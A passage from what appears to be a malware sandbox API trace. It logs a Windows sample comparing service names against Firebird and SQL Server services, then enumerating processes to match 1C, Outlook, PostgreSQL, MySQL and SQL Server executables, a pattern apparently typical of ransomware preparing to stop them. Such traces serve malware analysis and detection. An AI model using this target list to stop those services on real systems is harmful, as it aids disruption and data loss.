lpString2="gpsvc") returned 1 [0085.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0085.790] lstrlenW (lpString="iphlpsvc") returned 8 [0085.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0085.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0085.790] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0085.790] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0085.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0085.790] lstrlenW (lpString="LanmanServer") returned 12 [0085.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0085.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0085.790] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0085.790] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0085.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0085.790] lstrlenW (lpString="LanmanWorkstation") returned 17 [0085.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0085.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0085.791] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0085.791] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0085.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0085.791] lstrlenW (lpString="lmhosts") returned 7 [0085.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0085.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0085.791] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0085.791] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0085.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0085.791] lstrlenW (lpString="MMCSS") returned 5 [0085.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0085.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0085.792] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0085.792] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0085.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0085.792] lstrlenW (lpString="MpsSvc") returned 6 [0085.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0085.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0085.792] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0085.792] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0085.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0085.792] lstrlenW (lpString="Netman") returned 6 [0085.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0085.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0085.792] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0085.792] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0085.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0085.793] lstrlenW (lpString="netprofm") returned 8 [0085.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0085.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0085.793] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0085.793] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0085.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0085.793] lstrlenW (lpString="NlaSvc") returned 6 [0085.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0085.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0085.793] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0085.793] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0085.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0085.793] lstrlenW (lpString="nsi") returned 3 [0085.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0085.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0085.793] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0085.793] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0085.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0085.793] lstrlenW (lpString="PcaSvc") returned 6 [0085.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0085.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0085.793] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0085.793] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0085.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0085.793] lstrlenW (lpString="PlugPlay") returned 8 [0085.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0085.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0085.794] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0085.794] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0085.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0085.794] lstrlenW (lpString="Power") returned 5 [0085.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0085.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0085.794] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0085.794] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0085.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0085.794] lstrlenW (lpString="ProfSvc") returned 7 [0085.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0085.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0085.794] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0085.794] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0085.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0085.794] lstrlenW (lpString="RpcEptMapper") returned 12 [0085.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0085.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0085.794] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0085.794] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0085.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0085.794] lstrlenW (lpString="RpcSs") returned 5 [0085.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0085.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0085.794] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0085.794] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0085.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0085.795] lstrlenW (lpString="SamSs") returned 5 [0085.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0085.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0085.795] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0085.795] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0085.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0085.795] lstrlenW (lpString="Schedule") returned 8 [0085.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0085.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0085.795] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0085.795] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0085.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0085.795] lstrlenW (lpString="SENS") returned 4 [0085.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0085.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0085.795] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0085.795] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0085.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0085.795] lstrlenW (lpString="ShellHWDetection") returned 16 [0085.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0085.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0085.795] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0085.795] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0085.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0085.795] lstrlenW (lpString="Spooler") returned 7 [0085.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0085.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0085.795] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0085.795] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0085.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0085.796] lstrlenW (lpString="SysMain") returned 7 [0085.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0085.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0085.796] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0085.796] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0085.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0085.796] lstrlenW (lpString="Themes") returned 6 [0085.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0085.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0085.796] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0085.796] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0085.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0085.796] lstrlenW (lpString="TrkWks") returned 6 [0085.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0085.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0085.796] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0085.796] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0085.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0085.796] lstrlenW (lpString="UxSms") returned 5 [0085.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0085.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0085.796] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0085.796] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0085.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0085.796] lstrlenW (lpString="VSS") returned 3 [0085.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0085.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0085.796] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0085.796] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0085.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0085.797] lstrlenW (lpString="WdiServiceHost") returned 14 [0085.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0085.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0085.797] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0085.797] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0085.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0085.797] lstrlenW (lpString="WdiSystemHost") returned 13 [0085.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0085.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0085.797] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0085.797] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0085.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0085.797] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0085.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0085.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0085.797] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0085.797] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0085.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0085.797] lstrlenW (lpString="Winmgmt") returned 7 [0085.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0085.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0085.797] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0085.797] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0085.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0085.797] lstrlenW (lpString="WPDBusEnum") returned 10 [0085.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0085.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0085.797] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0085.798] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0085.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0085.798] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39777a0 | out: hHeap=0x5b0000) returned 1 [0085.798] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x20c [0085.803] Process32FirstW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0085.803] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0085.804] lstrlenW (lpString="System") returned 6 [0085.804] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0085.804] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0085.804] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0085.804] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0085.804] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0085.804] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0085.804] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0085.804] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0085.805] lstrlenW (lpString="smss.exe") returned 8 [0085.805] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0085.805] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0085.805] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0085.805] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0085.805] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0085.805] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0085.805] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0085.805] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0085.806] lstrlenW (lpString="csrss.exe") returned 9 [0085.806] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0085.806] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0085.806] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0085.806] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0085.806] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0085.806] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0085.806] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0085.806] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0085.807] lstrlenW (lpString="wininit.exe") returned 11 [0085.807] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0085.807] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0085.807] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0085.807] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0085.807] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0085.807] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0085.807] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0085.807] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0085.808] lstrlenW (lpString="csrss.exe") returned 9 [0085.808] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0085.808] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0085.809] lstrlenW (lpString="winlogon.exe") returned 12 [0085.809] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0085.809] lstrlenW (lpString="services.exe") returned 12 [0085.809] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0085.810] lstrlenW (lpString="lsass.exe") returned 9 [0085.810] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0085.811] lstrlenW (lpString="lsm.exe") returned 7 [0085.811] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.811] lstrlenW (lpString="svchost.exe") returned 11 [0085.811] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.812] lstrlenW (lpString="svchost.exe") returned 11 [0085.812] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.813] lstrlenW (lpString="svchost.exe") returned 11 [0085.813] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.813] lstrlenW (lpString="svchost.exe") returned 11 [0085.813] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.814] lstrlenW (lpString="svchost.exe") returned 11 [0085.814] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0085.814] lstrlenW (lpString="audiodg.exe") returned 11 [0085.814] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.815] lstrlenW (lpString="svchost.exe") returned 11 [0085.815] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.816] lstrlenW (lpString="svchost.exe") returned 11 [0085.816] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0085.816] lstrlenW (lpString="dwm.exe") returned 7 [0085.816] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0085.817] lstrlenW (lpString="explorer.exe") returned 12 [0085.817] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0085.818] lstrlenW (lpString="spoolsv.exe") returned 11 [0085.818] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.818] lstrlenW (lpString="svchost.exe") returned 11 [0085.818] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0085.819] lstrlenW (lpString="taskhost.exe") returned 12 [0085.819] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0085.820] lstrlenW (lpString="taskeng.exe") returned 11 [0085.820] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="wilson-homeless-extension.exe")) returned 1 [0085.820] lstrlenW (lpString="wilson-homeless-extension.exe") returned 29 [0085.820] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, 